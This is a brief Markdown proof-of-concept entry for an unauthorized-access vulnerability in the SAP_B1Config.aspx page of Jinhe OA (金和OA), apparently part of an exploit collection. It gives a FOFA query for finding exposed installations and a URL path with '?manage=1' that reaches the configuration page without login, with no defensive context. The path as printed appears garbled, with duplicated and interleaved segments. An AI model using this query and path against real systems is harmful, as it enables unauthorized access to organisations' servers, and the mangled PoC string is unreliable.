## 金和OA_SAP_B1Config.aspx未授权访问漏洞

## fofa
```
app="金和网络-金和OA"
```

## poc
```
/C6/JHsoft./C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1CostEAI/SAP_B1Config.aspx/?manage=1
```

![image](https://github.com/wy876/POC/assets/139549762/1f939923-f6bc-4a8f-9a00-8b0fc549a2c7)